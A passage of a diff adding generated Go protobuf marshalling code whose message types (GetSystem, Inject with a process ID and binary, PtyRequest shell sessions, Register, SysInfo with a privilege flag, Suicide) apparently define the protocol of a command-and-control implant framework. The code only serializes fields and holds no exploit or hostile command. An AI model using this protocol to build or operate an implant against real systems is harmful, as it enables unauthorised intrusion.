uint64(len(m.Domain))) + i-- + dAtA[i] = 0x12 + } + if len(m.Username) > 0 { + i -= len(m.Username) + copy(dAtA[i:], m.Username) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Username))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *GetSystem) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *GetSystem) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *GetSystem) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x10 + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Inject) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Inject) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Inject) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x10 + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Pipe) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Pipe) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Pipe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0x22 + } + if len(m.Target) > 0 { + i -= len(m.Target) + copy(dAtA[i:], m.Target) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Target))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *PipeRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PipeRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *PipeRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Pipe != nil { + size, err := m.Pipe.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Switch) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Switch) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Switch) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Urls) > 0 { + for iNdEx := len(m.Urls) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Urls[iNdEx]) + copy(dAtA[i:], m.Urls[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Urls[iNdEx]))) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *TaskCtrl) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskCtrl) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TaskCtrl) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Op) > 0 { + i -= len(m.Op) + copy(dAtA[i:], m.Op) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Op))) + i-- + dAtA[i] = 0x12 + } + if m.TaskId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TaskId)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *TaskInfo) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskInfo) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TaskInfo) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.SendCount != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.SendCount)) + i-- + dAtA[i] = 0x20 + } + if m.RecvCount != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.RecvCount)) + i-- + dAtA[i] = 0x18 + } + if m.Last != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Last)) + i-- + dAtA[i] = 0x10 + } + if m.TaskId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TaskId)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *TaskListResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskListResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TaskListResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Tasks) > 0 { + for iNdEx := len(m.Tasks) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Tasks[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *FFmpegRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *FFmpegRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *FFmpegRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Time) > 0 { + i -= len(m.Time) + copy(dAtA[i:], m.Time) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Time))) + i-- + dAtA[i] = 0x2a + } + if len(m.OutputPath) > 0 { + i -= len(m.OutputPath) + copy(dAtA[i:], m.OutputPath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputPath))) + i-- + dAtA[i] = 0x22 + } + if len(m.OutputFormat) > 0 { + i -= len(m.OutputFormat) + copy(dAtA[i:], m.OutputFormat) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputFormat))) + i-- + dAtA[i] = 0x1a + } + if len(m.DeviceName) > 0 { + i -= len(m.DeviceName) + copy(dAtA[i:], m.DeviceName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.DeviceName))) + i-- + dAtA[i] = 0x12 + } + if len(m.Action) > 0 { + i -= len(m.Action) + copy(dAtA[i:], m.Action) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Action))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *PtyRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PtyRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *PtyRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Params) > 0 { + for k := range m.Params { + v := m.Params[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x42 + } + } + if len(m.InputText) > 0 { + i -= len(m.InputText) + copy(dAtA[i:], m.InputText) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.InputText))) + i-- + dAtA[i] = 0x3a + } + if len(m.InputData) > 0 { + i -= len(m.InputData) + copy(dAtA[i:], m.InputData) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.InputData))) + i-- + dAtA[i] = 0x32 + } + if m.Rows != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Rows)) + i-- + dAtA[i] = 0x28 + } + if m.Cols != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Cols)) + i-- + dAtA[i] = 0x20 + } + if len(m.Shell) > 0 { + i -= len(m.Shell) + copy(dAtA[i:], m.Shell) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Shell))) + i-- + dAtA[i] = 0x1a + } + if len(m.SessionId) > 0 { + i -= len(m.SessionId) + copy(dAtA[i:], m.SessionId) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.SessionId))) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *PtyResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PtyResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *PtyResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Metadata) > 0 { + for k := range m.Metadata { + v := m.Metadata[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x3a + } + } + if len(m.ActiveSessions) > 0 { + for iNdEx := len(m.ActiveSessions) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.ActiveSessions[iNdEx]) + copy(dAtA[i:], m.ActiveSessions[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ActiveSessions[iNdEx]))) + i-- + dAtA[i] = 0x32 + } + } + if m.SessionActive { + i-- + if m.SessionActive { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if len(m.Error) > 0 { + i -= len(m.Error) + copy(dAtA[i:], m.Error) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Error))) + i-- + dAtA[i] = 0x22 + } + if len(m.OutputText) > 0 { + i -= len(m.OutputText) + copy(dAtA[i:], m.OutputText) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputText))) + i-- + dAtA[i] = 0x1a + } + if len(m.OutputData) > 0 { + i -= len(m.OutputData) + copy(dAtA[i:], m.OutputData) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputData))) + i-- + dAtA[i] = 0x12 + } + if len(m.SessionId) > 0 { + i -= len(m.SessionId) + copy(dAtA[i:], m.SessionId) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.SessionId))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *CommonBody) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *CommonBody) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *CommonBody) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.BytesArray) > 0 { + for iNdEx := len(m.BytesArray) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.BytesArray[iNdEx]) + copy(dAtA[i:], m.BytesArray[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.BytesArray[iNdEx]))) + i-- + dAtA[i] = 0x52 + } + } + if len(m.StringArray) > 0 { + for iNdEx := len(m.StringArray) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.StringArray[iNdEx]) + copy(dAtA[i:], m.StringArray[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.StringArray[iNdEx]))) + i-- + dAtA[i] = 0x42 + } + } + if len(m.BoolArray) > 0 { + for iNdEx := len(m.BoolArray) - 1; iNdEx >= 0; iNdEx-- { + i-- + if m.BoolArray[iNdEx] { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + } + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.BoolArray))) + i-- + dAtA[i] = 0x32 + } + if len(m.U64Array) > 0 { + var pksize2 int + for _, num := range m.U64Array { + pksize2 += protobuf_go_lite.SizeOfVarint(uint64(num)) + } + i -= pksize2 + j1 := i + for _, num := range m.U64Array { + for num >= 1<<7 { + dAtA[j1] = uint8(uint64(num)&0x7f | 0x80) + num >>= 7 + j1++ + } + dAtA[j1] = uint8(num) + j1++ + } + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(pksize2)) + i-- + dAtA[i] = 0x22 + } + if len(m.U32Array) > 0 { + var pksize4 int + for _, num := range m.U32Array { + pksize4 += protobuf_go_lite.SizeOfVarint(uint64(num)) + } + i -= pksize4 + j3 := i + for _, num := range m.U32Array { + for num >= 1<<7 { + dAtA[j3] = uint8(uint64(num)&0x7f | 0x80) + num >>= 7 + j3++ + } + dAtA[j3] = uint8(num) + j3++ + } + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(pksize4)) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Ping) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Ping) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Ping) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Nonce != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Nonce)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Register) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Register) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Register) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Secure != nil { + size, err := m.Secure.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Sysinfo != nil { + size, err := m.Sysinfo.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x5a + } + if m.Timer != nil { + size, err := m.Timer.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x2a + } + if len(m.Addons) > 0 { + for iNdEx := len(m.Addons) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Addons[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Module) > 0 { + for iNdEx := len(m.Module) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Module[iNdEx]) + copy(dAtA[i:], m.Module[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Module[iNdEx]))) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Proxy) > 0 { + i -= len(m.Proxy) + copy(dAtA[i:], m.Proxy) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Proxy))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Secure) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Secure) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Secure) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.PublicKey) > 0 { + i -= len(m.PublicKey) + copy(dAtA[i:], m.PublicKey) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.PublicKey))) + i-- + dAtA[i] = 0x22 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x1a + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Key))) + i-- + dAtA[i] = 0x12 + } + if m.Enable { + i-- + if m.Enable { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *KeyExchangeRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *KeyExchangeRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *KeyExchangeRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Nonce) > 0 { + i -= len(m.Nonce) + copy(dAtA[i:], m.Nonce) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Nonce))) + i-- + dAtA[i] = 0x22 + } + if m.Timestamp != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timestamp)) + i-- + dAtA[i] = 0x18 + } + if len(m.Signature) > 0 { + i -= len(m.Signature) + copy(dAtA[i:], m.Signature) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Signature))) + i-- + dAtA[i] = 0x12 + } + if len(m.PublicKey) > 0 { + i -= len(m.PublicKey) + copy(dAtA[i:], m.PublicKey) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.PublicKey))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *KeyExchangeResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *KeyExchangeResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *KeyExchangeResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.PublicKey) > 0 { + i -= len(m.PublicKey) + copy(dAtA[i:], m.PublicKey) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.PublicKey))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Init) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Init) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Init) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *SysInfo) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SysInfo) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *SysInfo) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Process != nil { + size, err := m.Process.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Os != nil { + size, err := m.Os.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x5a + } + if m.IsPrivilege { + i-- + if m.IsPrivilege { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if len(m.Workdir) > 0 { + i -= len(m.Workdir) + copy(dAtA[i:], m.Workdir) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Workdir))) + i-- + dAtA[i] = 0x12 + } + if len(m.Filepath) > 0 { + i -= len(m.Filepath) + copy(dAtA[i:], m.Filepath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Filepath))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Suicide) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Suicide) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Suicide) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if 